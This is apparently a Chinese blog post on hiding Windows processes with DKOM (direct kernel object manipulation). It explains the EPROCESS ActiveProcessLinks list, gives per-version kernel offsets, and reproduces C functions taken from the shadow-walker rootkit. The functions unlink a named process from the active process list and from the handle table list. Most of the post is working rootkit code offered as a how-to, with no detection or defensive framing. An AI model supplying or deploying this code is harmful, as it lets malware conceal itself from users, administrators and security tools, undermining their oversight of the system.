在Windows内核中有一个活动进程链表AcvtivePeorecssList。它是一个双向链表,保存着系统中所有进程的EPROCESS结构。特别地,进程的EPROCESS结构包含一个具有指针成员FLINK和BLINK的LIST_ENTRY结构,这两个指针分别指向当前进程的前方和后方进程。当某些模块需要获得系统中运行的所有进程信息时,就会遍历这个链表。若在PsActviePoroessList链表上删除了某个进程对象,该进程将被隐藏起来。

EPROCESS的结构可参考http://www.nirsoft.net/kernel_struct/vista/EPROCESS.html。windbg中查看如下:

0:000> dt _EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x06c ProcessLock      : _EX_PUSH_LOCK

   +0x070 CreateTime       : _LARGE_INTEGER

   +0x078 ExitTime         : _LARGE_INTEGER

   +0x080 RundownProtect   : _EX_RUNDOWN_REF

   +0x084 UniqueProcessId  : Ptr32 Void

   +0x088 ActiveProcessLinks : _LIST_ENTRY

   +0x090 QuotaUsage       : [3] Uint4B

   +0x09c QuotaPeak        : [3] Uint4B

   +0x0a8 CommitCharge     : Uint4B

   +0x0ac PeakVirtualSize  : Uint4B

   +0x0b0 VirtualSize      : Uint4B

   +0x0b4 SessionProcessLinks : _LIST_ENTRY

   +0x0bc DebugPort        : Ptr32 Void

   +0x0c0 ExceptionPort    : Ptr32 Void

   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE

   ......

   也就是说每次得到一个ActiveProcessLinks地址,再减去它离EPROCESS结构入口处的偏移,就可以得到EPROCESS的地址,然后就可以轻松得到想要的EPROCESS的任何成员变量!不同的操作系统ActiveProcessLinks的偏移有所不同。

  要想隐藏某个进程,将其从ActiveProcessLinks链表中摘掉并修改前后结点的指向即可,同时修改HandleTableList的指向。shadow-walker上就对HandleTableList链表也进行了修改。_HANDLE_TABLE、HandleTableList在不同操作系统中在EPROCESS中便宜也不同。可以通过PsGetVersion获取系统版本并赋值。具体值可以在windbg中查看。

 ULONG majorVersion;

 ULONG minorVersion;

 // Get the operating system version

 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

 if (majorVersion == 4 && minorVersion == 0)

 {

  //DbgPrint("Stop supporting NT 4.0");

  return STATUS_UNSUCCESSFUL;

 }

 else if (majorVersion == 5 && minorVersion == 0)

 {

  //DbgPrint("Microsoft Windows 2000 ");

  *pd_flink = 160;

  *pd_tableoff = 0x128;

  *pd_tablelist = 0x54;

 }

 else if (majorVersion == 5 && minorVersion == 1)

 {

  //DbgPrint("Microsoft Windows XP ");

  *pd_flink = 136;

  *pd_tableoff = 0xc4;

  *pd_tablelist = 0x1c;

 }

 else if (majorVersion == 5 && minorVersion == 2)

 {

  //DbgPrint("Microsoft Windows Server 2003 ");

  *pd_flink = 136;

  *pd_tableoff = 0xc4;//

  *pd_tablelist = 0x1c; //

 }

这种隐藏进程的方法貌似就叫DKOM法,具体原理上个图看看:

图中,正常的连接情况如黑线箭头所示,若要摘除某个结点,修改该结点前后两个结点的指针即可,修改示意如红线所示!代码都是shadow-walker中的,如下

void HideEPROCESSByPrefix(char *p_name, DWORD d_procName, DWORD d_flinkOffset, DWORD d_tableOffset, DWORD d_tableList)

{

 int   len         = 0;

 PLIST_ENTRY plist_active_procs;

 DWORD curr_eproc, eproc;

if (p_name == NULL)

  return;

len = strlen(p_name);

eproc = (DWORD) PsGetCurrentProcess();

 curr_eproc = eproc;

do

 {

  plist_active_procs = (LIST_ENTRY *) (curr_eproc+d_flinkOffset);//get the first ActiveProcessLinks

if(_strnicmp(p_name, (PVOID)(curr_eproc+d_procName) ,len) == 0) //cmp the procname if equal hideproc name

  {

   // just Change neighbors

   *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;

   *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

UnHookHandleListEntry((PEPROCESS)curr_eproc, d_tableOffset, d_tableList);

// Advance

   curr_eproc = (DWORD) plist_active_procs->Flink;//pointer next ActiveProcessLinks

   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS

// Point to ourselves

   plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink); // Change the current EPROCESS

   plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink); // so we don't point to crap

  }

  else

  {

   curr_eproc = (DWORD) plist_active_procs->Flink;  //pointer next ActiveProcessLinks

   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS

  }

 } while(eproc != curr_eproc);  //

}

void UnHookHandleListEntry(PEPROCESS eproc, DWORD d_handleTable, DWORD d_handleList)

{

 PLIST_ENTRY plist_hTable = NULL;

 plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + d_handleTable)) + d_handleList);

// Change neighbors because they point fingers

 *((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;

 *((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;

plist_hTable->Flink = (LIST_ENTRY *) &(plist_hTable->Flink); // Change the current LIST_ENTRY

 plist_hTable->Blink = (LIST_ENTRY *) &(plist_hTable->Flink); // so we don't point to crap

}

最新文章

  1. Linux学习笔记(一):常用命令
  2. ASP.NET MVC5+EF6+EasyUI 后台管理系统(2)-easyui构建前端页面框架[附源码]
  3. 学习 opencv---(2) 图像的载入,显示和输出
  4. 升级python到2.7版本pip不可用
  5. canvas剪裁图片并上传,前端一步到位,无需用到后端
  6. Sql Server Text 类型列 查询和更新
  7. TabWidget/TabHost的两种使用方法
  8. delphi xe5 android 控制蓝牙
  9. 寻找第K小元素
  10. java中IO写文件工具类
  11. Android开发之Ubuntu上Eclipse不显示手机设备
  12. CentOS6.5编译安装Python-2.7
  13. SSAS属性中更改AllowedBrowsingFolders的值后才能更改其它文件夹的值
  14. C语言第九次作业
  15. Scala实现Try with resources自动关闭IO
  16. pm2,部署nodejs,使用方法及自己使用后总结的经验
  17. 《剑指offer》 调整数组顺序使得奇数在偶数前面
  18. Codeforces Round #504 (rated, Div. 1 + Div. 2, based on VK Cup 2018 Final)-D- Array Restoration
  19. 委托、Lambda表达式、事件系列01,委托是什么,委托的基本用法,委托的Method和Target属性
  20. keras中的loss、optimizer、metrics

热门文章

  1. go指定分隔符格式化时间
  2. Extjs各版本的下载链接,包含ext3.4源码示例
  3. centos 安装 git
  4. [SDOI2010]地精部落 题解
  5. (转)OpenFire源码学习之二:Mina基础知识
  6. XMPP的总体架构和Jabber ID
  7. Ubuntu 16.04系统上修改Docker镜像的存储路径 (转)
  8. 在Linux下编译带调试功能的Bochs
  9. Linux 下通过mail命令发送邮件
  10. ECMS清除挂马以及后台升级实战(从ecms6.6~ecms7.0)